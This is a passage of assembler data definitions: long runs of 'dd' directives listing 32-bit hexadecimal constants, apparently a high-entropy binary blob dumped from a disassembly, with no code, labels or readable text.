dd 0A361500Dh, 872877Eh, 0E7437A2Ah, 4A367DB0h, 2D4846E5h
dd 0EF8CFB9h, 6696976Eh, 727DA99Bh, 1861C1E5h, 0F6EAB8B7h
dd 1EE022E2h, 9F511C17h, 0D1C4E6Fh, 8D2A01C4h, 17CD1CD4h
dd 0EB342A8Ch, 0EB5A7EE7h, 3A94AEF0h, 0B9DBA354h, 0F71049FCh
dd 3C50C695h, 0ECBC749Bh, 0B6DD463h, 0A62B56B9h, 0B58C32ABh
dd 6AFFA58Fh, 0B3D74F1Ch, 0A285999h, 562151B6h, 0E6047837h
dd 0E84618B2h, 381AF252h, 73CB9646h, 0F5E2167Eh, 3B7D3A96h
dd 0D9BFF6F0h, 0F6731962h, 0C685DC74h, 349973B5h, 7DDC5E78h
dd 113F1759h, 7C3B1CAh, 0DB5A62FFh, 0C7E74D8Ah, 71F56879h
dd 1C0A7DAFh, 7DA2BC2Ah, 248709ABh, 21150E6Bh, 865519ECh
dd 6BD1E802h, 0E90BAFF0h, 0A8576818h, 256DF59Ch, 3E291B96h
dd 0D52D2CF9h, 0DA3658C0h, 1FDA01E8h, 5B0736ADh, 5399622Fh
dd 57A2921Bh, 27172537h, 0FD37442Bh, 259D0559h, 60EC403Ch
dd 7D93D66Fh, 0BB123304h, 8029B0F7h, 79D23B2Eh, 41D7CAADh
dd 0CD7031E0h, 11BA6832h, 0D2D10F60h, 0C4A238C6h, 80763DCCh
dd 0AA4A5A53h, 0E9A4D332h, 179D183Ah, 0DA9327CBh, 0DCEB34C2h
dd 0B741385h, 6632BCECh, 31329E7h, 585FC531h, 7FC8CA1Ch
dd 0ED2125E4h, 572AD019h, 0B2807BECh, 2D18B11Bh, 7A74D6E3h
dd 2FABCFD9h, 2895472Dh, 924AFA90h, 44C06EC2h, 62EEE300h
dd 6321C2DCh, 4E1D4664h, 58A9061Dh, 646FD96Fh, 7162B501h
dd 0ED6278E6h, 0D116D615h, 134348C5h, 0CDF812F7h, 14F5B6E3h
dd 99E923FDh, 1DB99774h
dd 636082F0h, 9CE92B22h, 2E0DE279h, 0C72BD02Ah, 7CA0BBCDh
dd 72422132h, 0EDEFDAAh, 0D79C5E2Eh, 372EE762h, 0B2F85F09h
dd 9BC5C3A7h, 5A9362EDh, 44746F4Dh, 406F9B40h, 97D74B87h
dd 0B9FA398Fh, 66BF8ABEh, 5BEA1DD1h, 0D1474BFDh, 5B519696h
dd 2AF5D502h, 0BC46DA65h, 4FEFA0B4h, 68598E19h, 9C765A7Eh
dd 2A9B4DC5h, 46460B19h, 708A6A62h, 30EE7504h, 0BB1C464Ch
dd 43DF648Ch, 0D7425DEAh, 1823A3BDh, 660E5B30h, 0FD0BBA72h
dd 27EEBFE4h, 0D2D02D8h, 8406016Bh, 3A73BF2Ah, 7520CE16h
dd 240F045Bh, 65A496BEh, 0A3AB5D98h, 173007A6h, 54DE8EC8h
dd 113D1980h, 43EE0699h, 48BBCC71h, 7D7F56C6h, 5486D229h
dd 0D6C62E30h, 0F4A9E1E0h, 0DE71374Fh, 0A8D35B81h, 0EA51FF28h
dd 0D2D1960Ah, 5D16ED6Ch, 5745872Eh, 0FAB94F5h, 122CF686h
dd 7C10CACEh, 9AABFD9h, 48AB291Dh, 0DB025646h, 5156C220h
dd 5EBA88E2h, 0AD2CA083h, 0B1B9FFA4h, 0EC5DDF15h, 0CEA7D8D0h
dd 5E7811C3h, 0BC9BC9DFh, 0E47B5DC8h, 70B3F944h, 0EEEC46A6h
dd 5E5B1210h, 54F19F76h, 0B0EF32A6h, 3A5CCA52h, 0C1C9032h
dd 0E74C45F4h, 90C12AC9h, 6EA2769Bh, 7B8FF567h, 0D1744C65h
dd 0A49A5465h, 0EB1B3E77h, 6211883Bh, 893B243h, 2F3365C6h
dd 0C15E0D91h, 0F1844BB3h, 0EDE414BCh, 22D8B0CDh, 94FF0650h
dd 329AB719h, 0A5D1E8F4h, 0D1332ABCh, 0B6B2B02Dh, 0D2CD5B90h
dd 8F4E08CAh, 160B412Fh, 0AFE4536Fh, 6724901Ch, 0ADA1CDC4h
dd 73470DD6h, 56D02162h, 26EAE46Fh, 0CAB8EDF5h, 7378ECC2h
dd 6E6A3000h, 8D5527B9h, 9C207319h, 541CE889h, 0DC5CDE48h
dd 0A18BD5E6h, 66D6B407h, 0DC5C6716h, 99FB8F1Bh, 0F211946Eh
dd 7EF63502h, 423BAA0Ch, 81EA9B48h, 24818A97h, 0F781AB54h
dd 92FA9644h, 8CDC7DEDh, 302689E2h, 1A32D3FDh, 0B052EBFBh
dd 2052B74Ah, 0F613856Dh, 0D67869E7h, 0A76C7E31h, 7FB5FC4h
dd 0B11F275Bh, 1E639535h, 56653C02h, 50574479h, 0FCE348Dh
dd 0F33E4A91h, 835E8AC4h, 37B10A13h, 0E58FC705h, 3B251A5Bh
dd 0A0813C37h, 39B2FF66h, 298DB6C7h, 0A10E2965h, 12CEB89Eh
dd 0E4D770C3h, 0B8E3DC87h, 0C2CDCBA8h, 0D10AB13Ah, 684F0A13h
dd 0B7A1A853h, 0CFF96222h, 7AC27BC3h, 0DA4083F7h, 9603B7A4h
dd 0F7FF36C1h, 80FE0B1Fh, 0AA7679A1h, 427D5ACAh, 42079FBh
dd 0AE32EAD5h, 0E4EF0379h, 0D4611A47h, 45CD1A86h, 0CAB7A28Eh
dd 4762ABB0h, 9EC6D73Fh, 0D38BB618h, 824D028h, 0C2DD07C0h
dd 0B3F3CCCAh, 0FDB738C1h, 744849B0h, 0E415E1F9h, 0E68B0843h
dd 0EC2E2E37h, 0F966B463h, 8D15EAC8h, 0E21D18F3h, 0E38B695Dh
dd 0CAD4DD4h, 0FF6F66E3h, 61A1EC12h, 5B882DFDh, 4125338Dh
dd 0FA051201h, 0CA0B0C18h, 2282CA8Ch, 0CC0E7F72h, 829FB383h
dd 0BF52FFDCh, 9B656E1Fh, 9D8F329Eh, 54038FD8h, 5B6032C1h
dd 9994C1EFh, 1CACA388h, 4E23115Eh, 2C726195h, 2600DAA9h
dd 3F9E273Dh, 9A134E3Eh, 0F347D9EBh, 14214D55h, 5B0D98A8h
dd 2FE9C6Fh, 471E4D25h, 0E71678A5h, 7FF34C30h, 0D79A0BA8h
dd 2A253D9Ah, 8592D3F1h, 0B56D0BD0h, 84CDD688h, 0B12035CFh
dd 8B9D2AE6h, 0B8262074h, 470EACF0h, 1FE2B797h, 2BD553BDh
dd 0F7012E39h, 9DB3148Fh, 0D5DE3CB4h, 8BBC92FDh, 0A233291Ah
dd 0E24A64CAh, 89C8FCCEh, 0D6FDF77Bh, 0C40F2120h, 0D8792099h
dd 5DD5BE6Ah, 5119CBCh, 0C19A9F62h, 1DBD6268h, 0FC788037h
dd 8666442Ah, 480C7F12h, 4CF30845h, 59907416h, 0DDD9EC67h
dd 7E525C0Ch, 81FFCBDh, 0CD10DA82h, 8174AC9Bh, 2D3860AFh
dd 0D36BF02Eh, 8869DB3Eh, 0A14DB6B2h, 0D12CE136h, 0A881D824h
dd 383E11A0h, 39FDD7D1h, 7351DB2Fh, 4878645Ah, 0D2364B0Dh
dd 8B3FEA1h, 82A80E90h, 96AA3695h, 54F21D28h, 0B3973604h
dd 145BC118h, 6A754CA3h, 0F83A1F05h, 0DFBC9774h, 0D967B45Ch
dd 486F4FAh, 166CDA19h, 956C9CDBh, 0CCE18FF1h, 45C49031h
dd 0F777D50Bh, 785F78A5h, 0BE2729B3h, 9E4A5452h, 0D2F42A9Eh
dd 52CBF6B5h, 3EF8270Ah, 22DCC3FFh, 49D1C39Fh, 11828BF0h
dd 0B2B33896h, 1CDF1B81h, 0C4F9C2EEh, 0DD834FF2h, 638649C7h
dd 5F0ADA0Ch, 0C4260134h, 0AA122993h, 0F8E43CC7h, 5C672DDFh
dd 1791BCFFh, 89631E1Ah, 5C06D715h, 9B800FBh, 0FD0CE5F7h
dd 0A62BB9FBh, 842C5345h, 1E973FECh, 2579D715h, 0FC4E9458h
dd 0F067994Fh, 762D5456h, 0FB088C2Dh, 0F1302035h, 512CFD9h
dd 77953A02h, 816B6D4h, 571D599Ch, 0BDE4F4A0h, 8F2BC16Eh
dd 0BF1EF01Eh, 80295C0Fh, 111FC2Eh, 8D8BE619h, 9CD08BDAh
dd 76F2DA17h, 4A72AA0Eh, 708E3461h, 0DCD1D87Ah, 72D1EFC0h
dd 24225222h, 0BF0F9A5h, 0A0396545h, 130822A9h, 0CFF5BE56h
dd 4A91C6D8h, 0BBAC1B89h, 0F6B3FB1Eh, 7E3C6F1Fh, 0B474923Eh
dd 60840750h, 83922A9Ah, 564494F7h, 7C020270h, 6BC95315h
dd 0CA0EA65h, 0E039597Ch, 11EA2601h, 0DD38BFABh, 6491A7Eh
dd 0E81D83BBh, 0D310555Ah, 393D7C25h, 0C67C4F29h, 2A23B6E4h
dd 0CF5D26FCh, 29A392E2h, 2899BF87h, 0FEC03B79h, 8FD3A225h
dd 9335D72Dh, 1AAE7A2Bh, 0FBE5F9B0h, 8376304Ch, 0F8A506Fh
dd 0A31788E2h, 36E34A9Eh, 9A9FD51Ch, 0BE0C54E0h, 56C1DE25h
dd 0C2DD9D6h, 83519ABDh, 0CA7028A0h, 0A81D05C8h, 0CDA62C00h
dd 0E922B020h, 0B33C1E18h, 0E6DE2D91h, 414E7598h, 0B1C69BCEh
dd 0A6BDDA5Bh, 55848CE9h, 87597F03h, 7DD1FE1Dh, 0FDA4B21Bh
dd 28B3AF7Eh, 9BFA8EC0h, 0F63FD638h, 69914DA1h, 0EA8157CCh
dd 780801D1h, 126B404Fh, 256F8F88h, 620EA34Ah, 0C3CA5AA9h
dd 0EDB14495h, 0F1F290C6h, 6A193A4Bh, 0D5B346CAh, 21C54303h
dd 670E0236h, 675BE343h, 0DE6B211Bh, 0B975F85Ah, 6C0026CFh
dd 7E05B07Fh, 0F3E39F47h, 0BA1A3354h, 0A2F5090Bh, 0E1A8D790h
dd 0FD14D849h, 8399599h, 0C9D66360h, 8261489Ch, 91A947F1h
dd 2D0A9199h, 7AFEA585h, 87CD0561h, 0B56C434Dh, 67FF3633h
dd 34782319h, 6ECE9BB4h, 3C0302FEh, 28A643A9h, 7E0E2F87h
dd 0E27E5815h, 0A80B5990h, 9E71994Bh, 0F041D19h, 9134747Ch
dd 69A1DCFEh, 811BD33Eh, 699189FAh, 37DCDCEEh, 2CC68566h
dd 17B98B2Eh, 9E9C076Eh, 70DE207Fh, 0CEA89767h, 2346192Ch
dd 2041881Fh, 0B72155C1h, 0DB133267h, 95ADB95Ch, 4C152F0Bh
dd 0C3C27349h, 178EC678h, 7586CE89h, 23D12FE2h, 0B35C6F4Dh
dd 87A06E3Dh, 0A7F593D9h, 6EDEC9EDh, 0F00786F7h, 4EDFC7A4h
dd 3F29DA66h, 8856EF0Ah, 0AC05DA39h, 0B3DB6341h, 794B917Dh
dd 3AFEE63Ah, 409CE49Ah, 0D576A71Ch, 0CBCAB4C0h, 3AEA38D3h
dd 0BF4D088Fh, 2EEB94D1h, 9481256Dh, 0C2BD2419h, 0B3FC391Bh
dd 572AAEE2h, 8D3CBB27h, 2AAFAE24h, 6419151h, 7CA10877h
dd 5F72E71Eh, 284AEA4Ah, 77EC1E0Dh, 0D13450C6h, 57D8AA3Ah
dd 6959B859h, 0A5D2DEFEh, 0A9323725h, 5198625Ch, 0AE69D045h
dd 0E1976088h, 43038B40h, 0D52747C4h, 30CA7D4h, 0BCB83797h
dd 4B5194DCh, 2E1B6F52h, 3A3EA7Ch, 0F30B9F9Bh, 0C375F361h
dd 6757EF6h, 2744394Dh, 414278E7h, 9DE7C01h, 4C9CF29Ah
dd 6CDA3B3Fh, 0EC33EF9h, 0C9981241h, 1E4A02A6h, 0FE2E153Fh
dd 0E3FE96C4h, 0A9AEE9D2h, 0DF3F123h, 0D7C3B58Ah, 1417C3E5h
dd 550AC597h, 5FCBE113h, 7EA48776h, 58890A3Ch, 8AE1521Ch
dd 946DEF86h, 9A0A3D4Bh
dd 37BF41A2h, 0FD8A1CA1h, 0DCF43BA5h, 0B61F1FE7h, 3B33C6CFh
dd 0ADBA0915h, 6370EB9Ah, 90280C21h, 25428588h, 3BDB5B72h
dd 42983A38h, 371D9406h, 507B813Fh, 4D84C761h, 2B17DE9Dh
dd 0C54B1FF5h, 915AF0AFh, 64BC63FAh, 0A5B86294h, 8CE69A1Eh
dd 0D30F442h, 5FE3E78Bh, 2FD62F97h, 8D5BBA7Bh, 0B471A29Bh
dd 59407C71h, 0EDB716F9h, 1623A401h, 8078EA8Fh, 35A50165h
dd 507820A2h, 510884EFh, 6CA8C6A0h, 3CBAB239h, 0D159BA97h
dd 8DE7264h, 0F9A0BE28h, 776325FBh, 0FE834F94h, 41DF7AF9h
dd 233F1076h, 76024136h, 79259ABAh, 0F034AED7h, 285ED031h
dd 0DBFA18A0h, 3F0134DCh, 89E13F06h, 5D5D72C7h, 0D2D0C93Eh
dd 1010B927h, 0EB9E13AAh, 7DC1070Dh, 0E2476E90h, 6CFC43AEh
dd 0C0035171h, 42714D1Eh, 48CB632Bh, 0A311E525h, 719821B8h
dd 89DA2877h, 0BC703261h, 0A9DC3678h, 0D5CBE18Bh, 7E21D90Fh
dd 50BD287Fh, 1F3B48CCh, 0CDA309E4h, 0BBA1F462h, 4794F647h
dd 0CA98FF05h, 5E66E21h, 0EF6C8AA2h, 0E35DDB3Dh, 444E7921h
dd 0E382414Bh, 0A62E258Eh, 98EF15F6h, 8E056E10h, 133E6CF4h
dd 0FC220150h, 0A92BFF70h, 3F95E05Bh, 3066F767h, 0CBF5ADC9h
dd 0D3C090B4h, 1F8FC0F2h, 9D127090h, 0D8B8DA32h, 7F88221Bh
dd 0BEB00A1Ah, 0DDB8BBFDh, 983E904Eh, 0AC5CD60Ah, 1A8DCE99h
dd 0DA2D7D19h, 0A9199A09h, 54FFBDBAh, 0E5F625FDh, 0DB4161D1h
dd 0ECA05983h, 9DE0D1BBh, 0DF0C419Fh, 59B21BCAh, 0F0C8B39Bh
dd 0D99667D1h, 0E7FDC579h, 0A0A07731h, 5DA55CF6h, 7804432Dh
dd 2B3D19E7h, 29B9DCBBh, 43C97796h, 0D76383E1h, 7068CD16h
dd 0E1D65488h, 0ED2146B5h, 0A7FC1D79h, 6A0B8CDCh, 717333FBh
dd 7A1CD3E3h, 0E24CB2BBh, 63C57174h, 3BB58782h, 21E753B4h
dd 0D95EFA05h, 548D2AE4h, 6B22B089h, 0BC1D77F6h, 0B7902921h
dd 0AC44F9EBh, 0E16087A8h, 45C3E7B8h, 9D562FCDh, 39E957h
dd 5BE1A5F8h, 725FE5CAh, 6CF9FA52h, 0BAF40577h, 57FA25EEh
dd 8A7ADCCEh, 4BE695A0h, 5BBF9666h, 9CB12C1Ch, 96B15622h
dd 3E3D4347h, 37150E08h, 98040518h, 0F1015911h, 18C2AEAEh
dd 1D178155h, 302DC230h, 0D4A3B329h, 33B69A86h, 87CD8732h
dd 2811373Ch, 9C0346CFh, 0C190B6B4h, 2C53E6B4h, 0A0FD354Dh
dd 9BCF4680h, 416F5472h, 65E44AD8h, 8DC4628Ah, 14E43241h
dd 2E162095h, 0B2443BD8h, 0B75BCC78h, 424CD4F0h, 50CFC5B7h
dd 0C77D5D78h, 3195A9F6h, 0B5A5AC66h, 2C9CCC18h, 1BB3A370h
dd 82144B4Ch, 9A53E49Ah, 664E4910h, 2E394775h, 0BF656E6Fh
dd 0B269655Ah, 72B897A2h, 55C82167h, 44BAFACDh, 4DD82A9Eh
dd 44E9F580h, 648E4A8Ah, 1BAE3D6Dh, 0B7609F2Ch, 49E73BF2h
dd 25C8C5F3h, 0A0628089h, 0DA791434h, 7F699927h, 18BC1FBEh
dd 0C9FDA94Fh, 0ADA79F15h, 469093C5h, 0A00AAB66h, 0CBC49871h
dd 34901008h, 0F0A2115Eh, 0D90C6976h, 622F6ED0h, 0AA93DB0Fh
dd 93CF8318h, 17EA6E4Bh, 0E3FBE2BAh, 7B4DF814h, 0F3FFB3B8h
dd 0D5459C30h, 4629897Dh, 6FCE42E7h, 4E1BAE66h, 0E893B213h
dd 27821CA9h, 35C49A32h, 0E92B660Fh, 0CF669951h, 3F738F9Eh
dd 626F5C78h, 3C7EAC87h, 0AFCD6B9Ch, 269AAF54h, 0C2C48E50h
dd 6687D2DCh, 0FFBE14D1h, 0E5EE9888h, 67A545E6h, 1D1CE370h
dd 77BF30D2h, 70CA228Fh, 74A2E881h, 0C76571DBh, 83E58C64h
dd 0B140F960h, 3613E88Ch, 0A796227Fh, 0CF323E3Ah, 0CCD7873Ah
dd 0DA1768D3h, 0DAE1E8CAh, 0F7D1C39Ch, 5A1EA7EDh, 0B34976A6h
dd 3BCCAABBh, 375F03F0h, 63EB191Fh, 0DE1CB94Fh, 0D0566985h
dd 4F7069A5h, 0F4C4D82Fh, 544EE781h, 49838C0Eh, 3BA312D1h
dd 0E5E0C03Dh, 0A9F6F227h, 4131C547h, 0ACE07B53h, 328E707Fh
dd 1D744DFDh, 51F3FAD7h, 0FF65A90Dh, 0A824AA0Bh, 5CB8ECECh
dd 6E98C9A3h, 96FE5E74h, 1813C5A6h, 0B83E0D19h, 87973252h
dd 923216E3h, 6C086DAFh, 0F2F39D9Bh, 8B02E31Eh, 503255EFh
dd 0AD274D6h, 46F08C2Eh, 0D0A1890Ch, 7453B212h, 16083494h
dd 0C0D3F4Fh, 0E817DB74h, 220E8228h, 84DE23D5h, 908B8987h
dd 3EEEA6EEh, 24560745h, 30864F32h, 0CA26D5C2h, 0BD54E3C8h
dd 507BC086h, 2E0C7D4Ch, 0A5DABBE8h, 5356CA56h, 9471C457h
dd 1625186Bh, 83FE46A7h, 0D2F1C45Fh, 4AF6BDF0h, 339E01AAh
dd 0C2EE44BBh, 5BED4F9Ah, 3C117314h, 0F6490BB7h, 1D64EF48h
dd 0A9408118h, 512D6D81h, 59EFB78Dh, 4A2719D4h, 6BF9083Fh
dd 0B10F3503h, 0A4394C1Bh, 516EEC08h, 0E26A05E7h, 0CF4CF69h
dd 631C9D4Ch, 31F196Eh, 0D330C5A0h, 614E634Eh, 797B0214h
dd 9BCE2521h, 0FECB76F9h, 0A010A639h, 0DBF20717h, 0EC5DD1B9h
dd 0B87C8DDEh, 0C6BCB924h, 3C5019EEh, 952344FBh, 5BB6AC1Dh
dd 269FE58Dh, 5CAEC38Ch, 93B2C777h, 52B62C3Bh, 7F13F011h
dd 637A318h, 0D2B920FEh, 70920A60h, 74BF599Bh, 9712C56Bh
dd 83DBC4DFh, 62006F32h, 0FB1D2634h, 0A973EA01h, 64DF5328h
dd 10EC1830h, 9EDD9A80h, 851DCA86h, 81653AC7h, 95BF43E3h
dd 6FB5D9FFh, 592299DCh, 8BF75597h, 6DF44B18h, 0A4FDEABDh
dd 752AC5AFh, 53A9D0B8h, 1231F3E5h, 69A4220Ah, 10A843C2h
dd 5BA4694Bh, 583A88C2h, 0D089235h, 701F5FC4h, 0D46E9FB1h
dd 27DBF326h, 0D39A3A1Eh, 0D6CE2202h, 956B8949h, 4A9BE6B7h
dd 934A7AFAh, 7B1CA90Eh, 5FF0B5E2h, 74BB91B9h, 572624ECh
dd 0F5EF8173h, 364C7117h, 1E07B51Eh, 6C883FB3h, 27E5E6CFh
dd 0F4E4024Dh, 62F969B0h, 69BF21CBh, 7AE01DAEh, 1D8F54CEh
dd 1D8327B1h, 0C676C3AAh, 1AC639C2h, 9244369Ah, 0CDCEDC33h
dd 0ADC3DF29h, 33F7861Ch, 0B4C30339h, 45E2F7B2h, 0AB81FD7Bh
dd 7153AD9Ah, 3E0CEBAEh, 1E9BEEA5h, 0C4609CFBh, 27BC0AB8h
dd 72FFD523h, 49755452h, 0BE8BB350h, 256A2C0Dh, 5C651975h
dd 7FB3060Dh, 0F216B36Bh, 22A68FB7h, 0A46EDEABh, 4469B11Fh
dd 2E042C33h, 0B8336CCDh, 0C4727DEEh, 4227433Dh, 0F4CC5B9Eh
dd 0C89D3C4h, 7929F77Eh, 7850B79Dh, 50D0647Fh, 5C07447Ah
dd 0ABE91FC2h, 9B1FA242h, 72680A4Eh, 0ECF181DDh, 6FE0633Bh
dd 0D3266594h, 6012C3B8h, 0AC818D10h, 5B5DDE6Ch, 0C435A40Bh
dd 726FF73Fh, 5BBA7548h, 2147BE87h, 185DAE2h, 0EF2C219h
dd 0C5496D3h, 3F4970B5h, 7BB9E1E1h, 0A2DBFAF7h, 0C43096E5h
dd 70B5B581h, 814BA260h, 4CED5229h, 8DB21EC8h, 0A30134C4h
dd 5D275D2Ah, 0CDC1DB3Ah, 56737A41h, 1CDAADDAh, 0E28D1F36h
dd 2BE954D5h, 7570C8B4h, 44081851h, 0E173886Bh, 0EF19091h
dd 0F89588E5h, 0DBA51F90h, 6C6758DEh, 0BB65874Dh, 0A2FF65B8h
dd 74C0F782h, 0E8EC0162h, 0A7C43310h, 723CE898h, 2F2726ECh
dd 15448271h, 9F947D6h, 677D356Ah, 0F32FF44Ah, 8A0D14EBh
dd 0AFFC2EE8h, 84C0577h, 2EA102D1h, 5D000978h, 8AEB2838h
dd 168C83AEh, 0E8DD3342h, 0A0568D3Dh, 0B267919Dh, 60BA135Fh
dd 0A1420914h, 0FC13BDCh, 16EDA60Bh, 0FFF2264Eh, 308CEFA6h
dd 4EAFFF3Eh, 67BE61AAh, 2D6621BFh, 0D4A4465Eh, 0C8221E5h
dd 9768C122h, 259359Eh, 4C02FC39h, 18B05BFCh, 4525F490h
dd 469C5FF7h, 98A0F087h, 9C1D3108h, 28C063C3h, 7D7CAE9Bh
dd 1C5F2E35h, 10E20F4Bh, 83557AD1h, 32EF1282h, 0D3070406h
dd 6DA7D2E7h, 0DE25239Fh, 0E324A4EDh, 0F6DC1ECh, 688D03A3h
dd 0F6AB87B6h, 0E485AF59h
dd 0C84D7DB9h, 41C7BAE3h, 0A10B6180h, 9A9CE0Fh, 5438EDD3h
dd 7D0BFA2h, 95F73283h, 6CB12B8Eh, 0FFF94FF4h, 31F74929h
dd 0E683EB9Ch, 0AC3AB477h, 284165D3h, 6A7673C9h, 7318795Fh
dd 0F129FAA0h, 1ED902FDh, 0CAA06002h, 9F0C9C7Ch, 0CF0D497Ch
dd 24F953FAh, 73EEF9B2h, 0EA1AD8D9h, 1761A650h, 7A7715A9h
dd 7DCFD239h, 0A464BB4h, 793413E4h, 26273F5Dh, 0F406F09Ch
dd 0DE548C10h, 0EAE872E7h, 0A4802696h, 187AA119h, 88C06C46h
dd 0ED91026Eh, 813F1302h, 63D46D4Eh, 0F1994182h, 1C981A1Ah
dd 0E94AA7C7h, 22BA2834h, 2327B417h, 0FA6CF6Ah, 0B3C83094h
dd 237AC5C7h, 573EED3Bh, 0C88D01DEh, 5BCF485Fh, 4D84041Fh
dd 2F970E8Ch, 613253B9h, 2EC0BFB3h, 0C9AA3380h, 6B936114h
dd 1E3DF2EBh, 6E7A32E2h, 5E36A23Fh, 0D06F852h, 0F36116EEh
dd 920BA882h, 24F5FA18h, 0E641695Eh, 2249DEBAh, 0B0093DA5h
dd 0E98C8A65h, 0BBB4B105h, 0E18DF3D0h, 0EA8B45E8h, 1BCF3982h
dd 4A778A47h, 0EE2B062Eh, 57B89CB7h, 935B78FEh, 1423C4A3h
dd 240C5679h, 61BADEF4h, 866F537Bh, 2E00F8D5h, 3E0975C5h
dd 753575B7h, 3E93C7B9h, 0BDAA7D06h, 1FA14DEh, 4660C160h
dd 0CE602340h, 4B18A761h, 4D68164Bh, 603ABC64h, 8DF8D965h
dd 0F9BFA882h, 4E5966C3h, 6749A65Dh, 44413123h, 3425D882h
dd 0DF49E51Bh, 0FF9011DBh, 0D84B0D8Bh, 0ED88EBA5h, 4BEE562Eh
dd 3323A469h, 4CA2CE7Dh, 93803BFBh, 0B5B11E08h, 2B4F8A0Ch
dd 9DF48E64h, 693D3261h, 0A6B5ECE6h, 0FF6EE82Fh, 64711772h
dd 22BC7B0Dh, 2BE57927h, 756543BDh, 332C52B5h, 6B4EB03Ch
dd 0E552E4C7h, 6D8DD980h, 132CDE69h, 39DD1038h, 0C8295620h
dd 0C5BDE77Ah, 4A2F42FEh, 0F313D0B7h, 0DED5A392h, 43DF4700h
dd 0A61E3591h, 75399D9Ch, 6D82CA01h, 74A77C1Fh, 21060AD7h
dd 0AEF2F9B6h, 7FE5603Fh, 0BDE1272h, 633AE88Fh, 0A17EA47Ah
dd 0C59FCD29h, 99C98B06h, 92411713h, 0A7724EDEh, 0D8B62460h
dd 0CE5A7B81h, 0C3C857D6h, 77CD5D3Bh, 0C8DEEFBCh, 0CA0D540Dh
dd 70706A6Ah, 1A723783h, 1BFC4D0h, 9CC29507h, 2431178Dh
dd 0D9B9AD1Fh, 294F6AAh, 55B3F297h, 0A3A954E3h, 73918AD6h
dd 444A8254h, 0A88ACB40h, 6BFFD1F8h, 58B41407h, 0AA63D145h
dd 0A254F1DEh, 9E9BD7B3h, 2F5A64CFh, 0DF6F6831h, 87044CAEh
dd 34948C6Ch, 2DA90381h, 43C9968Dh, 57135B5Ah, 0BF1CF23Dh
dd 73C17593h, 4509CABCh, 7B1C0BFDh, 8A01A6F6h, 26F0BE3Bh
dd 492E3F55h, 69C68B1Ah, 0BF9DCFDCh, 0E6F82C2Fh, 0A413402h
dd 3745EBDDh, 6578DE6Dh, 0EF11394Bh, 0FA978D86h, 1BFB99D9h
dd 0DA8F426Fh, 0BB02A90Ah, 87E5AEBFh, 92707A61h, 0AE5F927Ch
dd 0D6EBE9F3h, 0B9E57FD9h, 0BF3624Ch, 0C38E2F31h, 4756D08Bh
dd 4F114AAAh, 2B79BEDFh, 0E99EECD8h, 0BE8F55C0h, 3499520Ch
dd 68ECAA8Ah, 0BBD7E064h, 7D128609h, 0E58C6726h, 6DAA5C21h
dd 5715ECA3h, 9553A21h, 1EA59B62h, 0D8066D9h, 0C596F85Fh
dd 1D7F4F71h, 3A84A912h, 0A6448D46h, 3B7D4040h, 229581BAh
dd 79E03C5h, 0CFAD04BEh, 7F24AEF5h, 3AF58CF1h, 702A0632h
dd 88123DE4h, 0EFB23E0Eh, 28D945FCh, 0A7446916h, 0EECA9D05h
dd 699BBD87h, 0D26A2A21h, 0B20032FAh, 6CD23181h, 0B7A6150Fh
dd 0AB74D296h, 0C75A4F26h, 0ADE2E84Ah, 9CBEDC46h, 0A4495A68h
dd 0ACEE901Bh, 8972E332h, 0FE56042Eh, 76002118h, 9DC1756Eh
dd 90812AA1h, 8D7C3157h, 95981B0Ah, 42EFE4E8h, 19DBF96Ch
dd 2303F0DDh, 1673BF9Bh, 8F280D92h, 0AE821894h, 44102635h
dd 0F34160FEh, 0ECB4DDD5h, 0D40EA87Fh, 2C38A590h, 6108A0BEh
dd 0EC8A525Ch, 945FD2CEh, 0B642D06h, 10400607h, 0F42516B7h
dd 98F3AC5Bh, 0F19A8017h, 0C9FEBE88h, 5AE4368h, 58BBFE0h
dd 9D2D4EF6h, 1765771Fh, 8DD107A3h, 960B5A56h, 0A676F58Ah
dd 2F8941E6h, 1351D83Eh, 0ACC7B21Ah, 0ED96BC7Fh, 4970A4E8h
dd 8B43B26h, 27DBC41Bh, 0B1E2FF63h, 0D1FF953Ch, 0BDB5501Ch
dd 0B23E547Eh, 95E983A3h, 41E1A4FFh, 4A016062h, 0E253C36h
dd 0B235E10Dh, 348F7BB8h, 7961E42Ah, 5F7D975Bh, 0DA4C5C4Fh
dd 591FB7CFh, 5718AAFAh, 6BEDC6EBh, 61697102h, 8ADE02CAh
dd 49F65CD9h, 0DB7E6793h, 0B60DFBE9h, 0F3312FC0h, 3F47E217h
dd 8E6CD8D5h, 5F89C60Bh, 951A2EEAh, 0D828AD7Ah, 0F2D4300Bh
dd 96A73EDEh, 981759E5h, 3F4F272Ch, 45086D46h, 0B9D81C50h
dd 0DF8F18BFh, 386FD4FCh, 0BA528700h, 7917A0DBh, 0D357A7E0h
dd 0C911ACE3h, 19359E2Dh, 304422E7h, 58AC42A3h, 0B34EBA41h
dd 9AC3F61Dh, 686D2F10h, 0CE4D4121h, 2441E4A0h, 722133F0h
dd 0AE317728h, 0B3049309h, 0F833B79Fh, 0F7702463h, 748C085Ah
dd 0C6614328h, 4D0136DEh, 3EAA8A35h, 9DFE0B96h, 7E5A80BFh
dd 45097FFBh, 44C91FA3h, 9F552625h, 0FD871E87h, 0A75BE979h
dd 791CE008h, 0BA09560Dh, 0A31B4182h, 8911138Bh, 108A8921h
dd 4B527B8Ah, 0A8B79C53h, 0A7F2526Ah, 4D1257B0h, 49D29043h
dd 89C440A3h, 140C6801h, 4516A814h, 95DEC7FAh, 25484ACAh
dd 5A1D189Bh, 887224F8h, 0FA554BC2h, 0F3412538h, 78F67442h
dd 0BF79D9FCh, 0EDD8BAC6h, 0CD54A3C4h, 0D08C7BAEh, 7419F4Bh
dd 0F672FD2Dh, 2DB7803h, 0E5B71159h, 0ADE8C985h, 0A7C17757h
dd 86FA6AA6h, 0ED762D7Ch, 0FA4E0A5Eh, 0EE64B40Fh, 0EF7D0F9Ch
dd 26B73850h, 0CFF6A47Fh, 0B7B56FFEh, 273EF8EDh, 1056B422h
dd 0B8A3981Bh, 6E7D5189h, 0A04010F2h, 50362A32h, 40667974h
dd 658DA56Bh, 0E3B2B691h, 0F74F1B09h, 996974BBh, 4E7B3B12h
dd 3C15B2B6h, 503E6A56h, 0A8A6EA74h, 0C20BA623h, 0C7872E82h
dd 0AED3B7D4h, 2F414805h, 82D1F576h, 3AF8B0D4h, 1584682Dh
dd 2135B3F9h, 821AF33Dh, 92EDBD87h, 2B590431h, 7AF802B6h
dd 6A409531h, 5333807Ah, 985ED3C2h, 7BBFCDFFh, 0F359892Fh
dd 106367DAh, 296BE40Eh, 0C3D5B87Fh, 9C8C5F29h, 0CF996CDAh
